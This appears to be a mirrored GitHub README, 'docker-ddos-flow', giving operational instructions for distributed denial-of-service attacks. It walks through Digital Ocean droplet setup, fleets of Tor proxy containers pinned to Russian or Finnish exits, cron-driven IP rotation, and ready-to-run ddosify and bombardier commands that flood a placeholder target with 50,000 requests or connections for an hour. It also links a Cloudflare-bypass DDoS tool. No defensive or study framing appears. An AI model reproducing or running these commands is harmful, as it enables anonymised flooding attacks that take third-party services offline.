Coder Social home page Coder Social logo

docker-ddos-flow's Introduction

DDoS with Docker, Digital Ocean, TOR.

Prepare Digital Ocean droplet (Ubuntu)

Create a new droplet

https://docs.digitalocean.com/products/droplets/how-to/create/

Allow SSH connections

sed -i 's/#PubkeyAuthentication/PubkeyAuthentication/g' /etc/ssh/sshd_config && sudo service sshd restart

Install docker

sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"
apt-cache policy docker-ce
sudo apt install -y docker-ce
sudo systemctl status docker
sudo usermod -aG docker ${USER}

Create tor config files for different exits

Base config

cat <<EOF > /root/torrc
AutomapHostsOnResolve 1
ControlPort 9051
ControlSocket /etc/tor/run/control
ControlSocketsGroupWritable 1
CookieAuthentication 1
CookieAuthFile /etc/tor/run/control.authcookie
CookieAuthFileGroupReadable 1
DNSPort 5353
DataDirectory /var/lib/tor
ExitPolicy reject *:*
Log notice stderr
RunAsDaemon 0
SocksPort 0.0.0.0:9050 IsolateDestAddr
TransPort 0.0.0.0:9040
User tor
VirtualAddrNetworkIPv4 10.192.0.0/10
EOF

Config with tor exit IPs only to Russia

cp -f /root/torrc /root/torrc_ru
cat <<EOF >>/root/torrc_ru
ExitNodes {ru} StrictNodes 1
EOF

Config with tor exit IPs only to Finland

cp -f /root/torrc /root/torrc_fin
cat <<EOF >>/root/torrc_fin
ExitNodes {fi} StrictNodes 1
EOF

Create and Run tor-proxy docker containers

With random tor exits

for i in $(seq 0 6); do docker create --name tor${i} -it --restart=always -p $(expr 8118 + ${i}):8118 -p $(expr 9050 + ${i}):9050 dperson/torproxy; done
for i in $(seq 0 6); do docker start tor${i}; done

With Russian tor exits

for i in $(seq 0 6); do docker create --name tor${i} -it --restart=always \
    -p $(expr 8118 + ${i}):8118 -p $(expr 9050 + ${i}):9050 \
    -v /root/torrc_ru:/etc/tor/torrc:ro dperson/torproxy \
    ; done
for i in $(seq 0 6); do docker start tor${i}; done

With Finland tor exits

for i in $(seq 0 6); do docker create --name tor${i} -it --restart=always \
    -p $(expr 8118 + ${i}):8118 -p $(expr 9050 + ${i}):9050 \
    -v /root/torrc_fin:/etc/tor/torrc:ro dperson/torproxy \
    ; done
for i in $(seq 0 6); do docker start tor${i}; done

Configure tor-proxy ip rotation.

  1. Run crontab -e
  2. Select any proposed editor (only for a first run)
  3. Add next line to the end */5 * * * * for i in $(seq 0 6); do docker restart tor${i} >/dev/null 2>&1; done

Note, added cron task will reload tor every 5 minutes. Tor network reloading takes about 1 minute.

Run DDoS

Note, run one DDoS tool per droplet!

Run/re-run tool - DDOSIFY

for i in $(seq 1 5); do docker kill attack${i}; done
for i in $(seq 1 5); do docker rm attack${i}; done

for i in $(seq 1 5); do docker create --name attack${i} -it --restart=always --network="host" \
    ddosify/ddosify /bin/ddosify -P "http://localhost:$(expr 8118 + ${i})" -T 10 -n 50000 -d 3600 -p HTTPS -m GET -l linear -t <TARGET_TO_ATTACK> \
    ; done

for i in $(seq 1 5); do docker start attack${i}; done

Run/re-run tool - BOMBARDIER

for i in $(seq 1 5); do docker kill attack${i}; done
for i in $(seq 1 5); do docker rm attack${i}; done

for i in $(seq 1 5); do docker create --name attack${i} -it --restart=always --network="host" \
    --env="https_proxy=http://localhost:$(expr 8118 + ${i})" \
    --env="http_proxy=http://localhost:$(expr 8118 + ${i})" \
    alpine/bombardier -c 50000 -d 1h -l <TARGET_TO_ATTACK> \
    ; done

for i in $(seq 1 5); do docker start attack${i}; done

Run/re-run tool - CF-BYPASS

https://github.com/code-ashram/anonymous-ddos

docker-ddos-flow's People

Contributors

bobjoe9590 avatar

Stargazers

 avatar  avatar  avatar

Watchers

 avatar

Forkers

milton-security

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.